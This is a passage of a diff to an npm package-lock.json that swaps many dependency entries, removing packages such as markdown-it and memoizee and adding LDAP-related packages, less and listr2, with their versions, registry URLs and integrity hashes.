"sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", ++ "requires": { ++ "safe-buffer": "~5.1.0" ++ } + } + } + }, +- "lru-queue": { +- "version": "0.1.0", +- "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz", +- "integrity": "sha1-Jzi9nw089PhEkMVzbEhpmsYyzaM=", +- "dev": true, ++ "ldap-escape": { ++ "version": "2.0.6", ++ "resolved": "https://registry.npmjs.org/ldap-escape/-/ldap-escape-2.0.6.tgz", ++ "integrity": "sha512-M0mZojh0QIDSDkA0+M5Zopqz3Ku5DNs1/Q8VqWO5l3Pjx1J2p71c9WksQIDQQKmd1XkV3N2NZFwcBFLJSm1l1w==", ++ "dev": true ++ }, ++ "ldap-filter": { ++ "version": "0.2.2", ++ "resolved": "https://registry.npmjs.org/ldap-filter/-/ldap-filter-0.2.2.tgz", ++ "integrity": "sha1-8rhCvguG2jNSeYUFsx68rlkNd9A=", + "requires": { +- "es5-ext": "~0.10.2" ++ "assert-plus": "0.1.5" + } + }, +- "lz-string": { +- "version": "1.4.4", +- "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.4.4.tgz", +- "integrity": "sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY=", +- "dev": true +- }, +- "mailchimp-api-v3": { +- "version": "1.15.0", +- "resolved": "https://registry.npmjs.org/mailchimp-api-v3/-/mailchimp-api-v3-1.15.0.tgz", +- "integrity": "sha512-9TxCFG+VRpl14HOHgABHYmC5GvpCY7LYqyTefOXd4GtI07oXCiJ7W5fEvk3SJKBctlbjhKbzjB5qOZMQpacEUQ==", ++ "ldapauth-fork": { ++ "version": "4.3.3", ++ "resolved": "https://registry.npmjs.org/ldapauth-fork/-/ldapauth-fork-4.3.3.tgz", ++ "integrity": "sha512-x76VpQ5ZqkwAJmqwcD6KIwDiNEbgIGIPGwC/eA17e1dxWhlTx36w0DlLOFwjTuZ2iuaLTsZsUprlVqvSlwc/1Q==", + "requires": { +- "bluebird": "^3.4.0", +- "lodash": "^4.17.14", +- "request": "^2.88.0", +- "tar": "^4.0.2" ++ "@types/ldapjs": "^1.0.0", ++ "@types/node": "*", ++ "bcryptjs": "^2.4.0", ++ "ldapjs": "^1.0.2", ++ "lru-cache": "^5.1.1" + }, + "dependencies": { +- "fs-minipass": { +- "version": "1.2.7", +- "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz", +- "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==", +- "requires": { +- "minipass": "^2.6.0" +- } ++ "asn1": { ++ "version": "0.2.3", ++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", ++ "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=" + }, +- "minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" ++ "assert-plus": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", ++ "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" + }, +- "minipass": { +- "version": "2.9.0", +- "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz", +- "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==", ++ "extsprintf": { ++ "version": "1.2.0", ++ "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.2.0.tgz", ++ "integrity": "sha1-WtlGwi9bMrp/jNdCZxHG6KP8JSk=" ++ }, ++ "ldapjs": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/ldapjs/-/ldapjs-1.0.2.tgz", ++ "integrity": "sha1-VE/3Ayt7g8aPBwEyjZKXqmlDQPk=", + "requires": { +- "safe-buffer": "^5.1.2", +- "yallist": "^3.0.0" ++ "asn1": "0.2.3", ++ "assert-plus": "^1.0.0", ++ "backoff": "^2.5.0", ++ "bunyan": "^1.8.3", ++ "dashdash": "^1.14.0", ++ "dtrace-provider": "~0.8", ++ "ldap-filter": "0.2.2", ++ "once": "^1.4.0", ++ "vasync": "^1.6.4", ++ "verror": "^1.8.1" + } + }, +- "minizlib": { +- "version": "1.3.3", +- "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz", +- "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==", ++ "vasync": { ++ "version": "1.6.4", ++ "resolved": "https://registry.npmjs.org/vasync/-/vasync-1.6.4.tgz", ++ "integrity": "sha1-3+k2Fq0OeugBszKp2Iv8XNyOHR8=", + "requires": { +- "minipass": "^2.9.0" ++ "verror": "1.6.0" ++ }, ++ "dependencies": { ++ "verror": { ++ "version": "1.6.0", ++ "resolved": "https://registry.npmjs.org/verror/-/verror-1.6.0.tgz", ++ "integrity": "sha1-fROyex+swuLakEBetepuW90lLqU=", ++ "requires": { ++ "extsprintf": "1.2.0" ++ } ++ } + } +- }, +- "mkdirp": { +- "version": "0.5.5", +- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", +- "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", ++ } ++ } ++ }, ++ "ldapjs": { ++ "version": "0.7.1", ++ "resolved": "https://registry.npmjs.org/ldapjs/-/ldapjs-0.7.1.tgz", ++ "integrity": "sha1-aEeYpodkC6sa+9gCz1MvMEkt+1Y=", ++ "requires": { ++ "asn1": "0.2.1", ++ "assert-plus": "0.1.5", ++ "bunyan": "0.22.1", ++ "dtrace-provider": "0.2.8", ++ "nopt": "2.1.1", ++ "pooling": "0.4.6" ++ }, ++ "dependencies": { ++ "bunyan": { ++ "version": "0.22.1", ++ "resolved": "https://registry.npmjs.org/bunyan/-/bunyan-0.22.1.tgz", ++ "integrity": "sha1-Agw4O+1iWvXGyINN2MSsoN0Pdlw=", + "requires": { +- "minimist": "^1.2.5" ++ "dtrace-provider": "0.2.8", ++ "mv": "0.0.5" + } + }, +- "safe-buffer": { +- "version": "5.2.1", +- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", +- "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" ++ "dtrace-provider": { ++ "version": "0.2.8", ++ "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.2.8.tgz", ++ "integrity": "sha1-4kPxkhmqlfvw2PL/sH9b1k6U/iA=", ++ "optional": true + }, +- "tar": { +- "version": "4.4.19", +- "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.19.tgz", +- "integrity": "sha512-a20gEsvHnWe0ygBY8JbxoM4w3SJdhc7ZAuxkLqh+nvNQN2IOt0B5lLgM490X5Hl8FF0dl0tOf2ewFYAlIFgzVA==", ++ "mv": { ++ "version": "0.0.5", ++ "resolved": "https://registry.npmjs.org/mv/-/mv-0.0.5.tgz", ++ "integrity": "sha1-FerHWUeYhN8RMdbeVrziC2VPU5E=", ++ "optional": true ++ }, ++ "nopt": { ++ "version": "2.1.1", ++ "resolved": "https://registry.npmjs.org/nopt/-/nopt-2.1.1.tgz", ++ "integrity": "sha1-ket8SwF+fACtytH9bWOUTQ/bdcE=", + "requires": { +- "chownr": "^1.1.4", +- "fs-minipass": "^1.2.7", +- "minipass": "^2.9.0", +- "minizlib": "^1.3.3", +- "mkdirp": "^0.5.5", +- "safe-buffer": "^5.2.1", +- "yallist": "^3.1.1" ++ "abbrev": "1" + } + } + } + }, +- "make-dir": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", +- "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", ++ "ldapts": { ++ "version": "3.2.4", ++ "resolved": "https://registry.npmjs.org/ldapts/-/ldapts-3.2.4.tgz", ++ "integrity": "sha512-33QJQglDdAdwOWMy7E8T4BQYizAAsH+jalAVg+9xUE4SQhenezRa2mSgH5s9jRfz0fxw3GP6f8GeqX0+tfqMeQ==", ++ "dev": true, + "requires": { +- "pify": "^4.0.1", +- "semver": "^5.6.0" ++ "@types/asn1": ">=0.2.0", ++ "@types/node": ">=12.13", ++ "@types/uuid": ">=8", ++ "asn1": "~0.2.6", ++ "debug": "~4.3.4", ++ "strict-event-emitter-types": "~2.0.0", ++ "uuid": "~8.3.2" + }, + "dependencies": { +- "pify": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", +- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" ++ "asn1": { ++ "version": "0.2.6", ++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz", ++ "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", ++ "dev": true, ++ "requires": { ++ "safer-buffer": "~2.1.0" ++ } + }, +- "semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" +- } +- } +- }, +- "make-error": { +- "version": "1.3.6", +- "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", +- "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==" +- }, +- "make-iterator": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz", +- "integrity": "sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==", +- "requires": { +- "kind-of": "^6.0.2" ++ "debug": { ++ "version": "4.3.4", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", ++ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", ++ "dev": true, ++ "requires": { ++ "ms": "2.1.2" ++ } ++ }, ++ "ms": { ++ "version": "2.1.2", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", ++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", ++ "dev": true ++ }, ++ "uuid": { ++ "version": "8.3.2", ++ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", ++ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", ++ "dev": true ++ } + } + }, +- "mandrill-api": { +- "version": "1.0.45", +- "resolved": "https://registry.npmjs.org/mandrill-api/-/mandrill-api-1.0.45.tgz", +- "integrity": "sha1-Fjk5z0hr0YJ3sPO69BLD5l2Epy0=" +- }, +- "map-cache": { +- "version": "0.2.2", +- "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", +- "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=" +- }, +- "map-obj": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-2.0.0.tgz", +- "integrity": "sha1-plzSkIepJZi4eRJXpSPgISIqwfk=" +- }, +- "map-visit": { ++ "lead": { + "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", +- "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", ++ "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz", ++ "integrity": "sha1-bxT5mje+Op3XhPVJVpDlkDRm7kI=", ++ "dev": true, + "requires": { +- "object-visit": "^1.0.0" ++ "flush-write-stream": "^1.0.2" + } + }, +- "markdown-it": { +- "version": "12.3.2", +- "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-12.3.2.tgz", +- "integrity": "sha512-TchMembfxfNVpHkbtriWltGWc+m3xszaRD0CZup7GFFhzIgQqxIfn3eGj1yZpfuflzPvfkt611B2Q/Bsk1YnGg==", ++ "less": { ++ "version": "3.13.1", ++ "resolved": "https://registry.npmjs.org/less/-/less-3.13.1.tgz", ++ "integrity": "sha512-SwA1aQXGUvp+P5XdZslUOhhLnClSLIjWvJhmd+Vgib5BFIr9lMNlQwmwUNOjXThF/A0x+MCYYPeWEfeWiLRnTw==", + "dev": true, + "requires": { +- "argparse": "^2.0.1", +- "entities": "~2.1.0", +- "linkify-it": "^3.0.1", +- "mdurl": "^1.0.1", +- "uc.micro": "^1.0.5" ++ "copy-anything": "^2.0.1", ++ "errno": "^0.1.1", ++ "graceful-fs": "^4.1.2", ++ "image-size": "~0.5.0", ++ "make-dir": "^2.1.0", ++ "mime": "^1.4.1", ++ "native-request": "^1.0.5", ++ "source-map": "~0.6.0", ++ "tslib": "^1.10.0" + }, + "dependencies": { +- "entities": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz", +- "integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w==", ++ "mime": { ++ "version": "1.6.0", ++ "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", ++ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", ++ "dev": true, ++ "optional": true ++ }, ++ "source-map": { ++ "version": "0.6.1", ++ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", ++ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", ++ "dev": true, ++ "optional": true ++ }, ++ "tslib": { ++ "version": "1.14.1", ++ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", ++ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + } + } + }, +- "markdown-it-anchor": { +- "version": "8.4.1", +- "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-8.4.1.tgz", +- "integrity": "sha512-sLODeRetZ/61KkKLJElaU3NuU2z7MhXf12Ml1WJMSdwpngeofneCRF+JBbat8HiSqhniOMuTemXMrsI7hA6XyA==", +- "dev": true, +- "requires": {} +- }, +- "markdown-link": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/markdown-link/-/markdown-link-0.1.1.tgz", +- "integrity": "sha1-MsXGUZmmRXMWMi0eQinRNAfIx88=", +- "dev": true +- }, +- "markdown-toc": { +- "version": "1.2.0", +- "resolved": "https://registry.npmjs.org/markdown-toc/-/markdown-toc-1.2.0.tgz", +- "integrity": "sha512-eOsq7EGd3asV0oBfmyqngeEIhrbkc7XVP63OwcJBIhH2EpG2PzFcbZdhy1jutXSlRBBVMNXHvMtSr5LAxSUvUg==", ++ "less-plugin-autoprefix": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/less-plugin-autoprefix/-/less-plugin-autoprefix-2.0.0.tgz", ++ "integrity": "sha512-UktaMtHAhCVTIQxjlceo1MiiQiUZws7gi3hfcpxkCLn1CJdVdlRGCb4n1/M64hniw2DLd7YzOl7ojshs1tWYcQ==", + "dev": true, + "requires": { +- "concat-stream": "^1.5.2", +- "diacritics-map": "^0.1.0", +- "gray-matter": "^2.1.0", +- "lazy-cache": "^2.0.2", +- "list-item": "^1.1.1", +- "markdown-link": "^0.1.1", +- "minimist": "^1.2.0", +- "mixin-deep": "^1.1.3", +- "object.pick": "^1.2.0", +- "remarkable": "^1.7.1", +- "repeat-string": "^1.6.1", +- "strip-color": "^0.1.0" ++ "autoprefixer": "^8.6.3", ++ "postcss": "^6.0.22" + }, + "dependencies": { +- "concat-stream": { +- "version": "1.6.2", +- "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", +- "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", ++ "autoprefixer": { ++ "version": "8.6.5", ++ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-8.6.5.tgz", ++ "integrity": "sha512-PLWJN3Xo/rycNkx+mp8iBDMTm3FeWe4VmYaZDSqL5QQB9sLsQkG5k8n+LNDFnhh9kdq2K+egL/icpctOmDHwig==", + "dev": true, + "requires": { +- "buffer-from": "^1.0.0", +- "inherits": "^2.0.3", +- "readable-stream": "^2.2.2", +- "typedarray": "^0.0.6" ++ "browserslist": "^3.2.8", ++ "caniuse-lite": "^1.0.30000864", ++ "normalize-range": "^0.1.2", ++ "num2fraction": "^1.2.2", ++ "postcss": "^6.0.23", ++ "postcss-value-parser": "^3.2.3" + } + }, +- "isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", +- "dev": true ++ "browserslist": { ++ "version": "3.2.8", ++ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz", ++ "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", ++ "dev": true, ++ "requires": { ++ "caniuse-lite": "^1.0.30000844", ++ "electron-to-chromium": "^1.3.47" ++ } + }, +- "minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", ++ "has-flag": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", ++ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, +- "readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", ++ "postcss": { ++ "version": "6.0.23", ++ "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", ++ "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" ++ "chalk": "^2.4.1", ++ "source-map": "^0.6.1", ++ "supports-color": "^5.4.0" + } + }, +- "string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", ++ "postcss-value-parser": { ++ "version": "3.3.1", ++ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz", ++ "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==", ++ "dev": true ++ }, ++ "source-map": { ++ "version": "0.6.1", ++ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", ++ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", ++ "dev": true ++ }, ++ "supports-color": { ++ "version": "5.5.0", ++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", ++ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { +- "safe-buffer": "~5.1.0" ++ "has-flag": "^3.0.0" + } + } + } + }, +- "marked": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/marked/-/marked-4.1.0.tgz", +- "integrity": "sha512-+Z6KDjSPa6/723PQYyc1axYZpYYpDnECDaU6hkaf5gqBieBkMKYReL5hteF2QizhlMbgbo8umXl/clZ67+GlsA==" +- }, +- "match-sorter": { +- "version": "6.3.1", +- "resolved": "https://registry.npmjs.org/match-sorter/-/match-sorter-6.3.1.tgz", +- "integrity": "sha512-mxybbo3pPNuA+ZuCUhm5bwNkXrJTbsk5VWbR5wiwz/GC6LIiegBGn2w3O08UG/jdbYLinw51fSQ5xNU1U3MgBw==", ++ "levn": { ++ "version": "0.4.1", ++ "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", ++ "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", ++ "dev": true, + "requires": { +- "@babel/runtime": "^7.12.5", +- "remove-accents": "0.4.2" ++ "prelude-ls": "^1.2.1", ++ "type-check": "~0.4.0" + } + }, +- "math-log2": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/math-log2/-/math-log2-1.0.1.tgz", +- "integrity": "sha1-+4lBvl9evol55xjmJzsXjlhpRWU=" +- }, +- "math-random": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.4.tgz", +- "integrity": "sha512-rUxjysqif/BZQH2yhd5Aaq7vXMSx9NdEsQcyA07uEzIvxgI7zIr33gGsh+RU0/XjmQpCW7RsVof1vlkvQVCK5A==", ++ "lilconfig": { ++ "version": "2.0.5", ++ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz", ++ "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==", + "dev": true + }, +- "mathjax": { +- "version": "2.7.9", +- "resolved": "https://registry.npmjs.org/mathjax/-/mathjax-2.7.9.tgz", +- "integrity": "sha512-NOGEDTIM9+MrsqnjPEjVGNx4q0GQxqm61yQwSK+/5S59i26wId5IC5gNu9/bu8+CCVl5p9G2IHcAl/wJa+5+BQ==" ++ "lines-and-columns": { ++ "version": "1.2.4", ++ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", ++ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", ++ "dev": true + }, +- "maxmind": { +- "version": "4.3.6", +- "resolved": "https://registry.npmjs.org/maxmind/-/maxmind-4.3.6.tgz", +- "integrity": "sha512-CwnEZqJX0T6b2rWrc0/V3n9hL/hWAMEn7fY09077YJUHiHx7cn/esA2ZIz8BpYLSJUf7cGVel0oUJa9jMwyQpg==", ++ "linkify-it": { ++ "version": "3.0.3", ++ "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-3.0.3.tgz", ++ "integrity": "sha512-ynTsyrFSdE5oZ/O9GEf00kPngmOfVwazR5GKDq6EYfhlpFug3J2zybX56a2PRRpc9P+FuSoGNAwjlbDs9jJBPQ==", ++ "dev": true, + "requires": { +- "mmdb-lib": "2.0.2", +- "tiny-lru": "8.0.2" ++ "uc.micro": "^1.0.1" + } + }, +- "mdurl": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", +- "integrity": "sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=", +- "dev": true +- }, +- "media-typer": { +- "version": "0.3.0", +- "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", +- "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" +- }, +- "memfs": { +- "version": "3.4.1", +- "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.1.tgz", +- "integrity": "sha512-1c9VPVvW5P7I85c35zAdEr1TD5+F11IToIHIlrVIcflfnzPkJa0ZoYEoEdYDP8KgPFoSZ/opDrUsAoZWym3mtw==", +- "devOptional": true, ++ "list-item": { ++ "version": "1.1.1", ++ "resolved": "https://registry.npmjs.org/list-item/-/list-item-1.1.1.tgz", ++ "integrity": "sha1-DGXQDih8tmPMs8s4Sad+iewmilY=", ++ "dev": true, + "requires": { +- "fs-monkey": "1.0.3" ++ "expand-range": "^1.8.1", ++ "extend-shallow": "^2.0.1", ++ "is-number": "^2.1.0", ++ "repeat-string": "^1.5.2" + } + }, +- "memoize-one": { +- "version": "5.2.1", +- "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz", +- "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==" ++ "listenercount": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/listenercount/-/listenercount-1.0.1.tgz", ++ "integrity": "sha1-hMinKrWcRyUyFIDJdeZQg0LnCTc=" + }, +- "memoizee": { +- "version": "0.4.15", +- "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.15.tgz", +- "integrity": "sha512-UBWmJpLZd5STPm7PMUlOw/TSy972M+z8gcyQ5veOnSDRREz/0bmpyTfKt3/51DhEBqCZQn1udM/5flcSPYhkdQ==", ++ "listr2": { ++ "version": "3.14.0", ++ "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.14.0.tgz", ++ "integrity": "sha512-TyWI8G99GX9GjE54cJ+RrNMcIFBfwMPxc3XTFiAYGN4s10hWROGtOg7+O6u6LE3mNkyld7RSLE6nrKBvTfcs3g==", + "dev": true, + "requires": { +- "d": "^1.0.1", +- "es5-ext": "^0.10.53", +- "es6-weak-map": "^2.0.3", +- "event-emitter": "^0.3.5", +- "is-promise": "^2.2.2", +- "lru-queue": "^0.1.0", +- "next-tick": "^1.1.0", +- "timers-ext": "^0.1.7" ++ "cli-truncate": "^2.1.0", ++ "colorette": "^2.0.16", ++ "log-update": "^4.0.0", ++ "p-map": "^4.0.0", ++ "rfdc": "^1.3.0", ++ "rxjs": "^7.5.1", ++ "through": "^2.3.8", ++ "wrap-ansi": "^7.0.0" + }, + "dependencies": { +- "next-tick": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", +- "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==", ++ "colorette": { ++ "version": "2.0.16", ++ "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.16.tgz", ++ "integrity": "sha512-hUewv7oMjCp+wkBv5Rm0v87eJhq4woh5rSR+42YSQJKecCqgIqNkZ6lAlQms/BwHPJA5NKMRlpxPRv0n8HQW6g==", + "dev": true + } + } + }, +- "memory-pager": { +- "version": "1.5.0", +- "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz", +- "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==", +- "optional": true +- }, +- "memorystream": { +- "version": "0.3.1", +- "resolved": 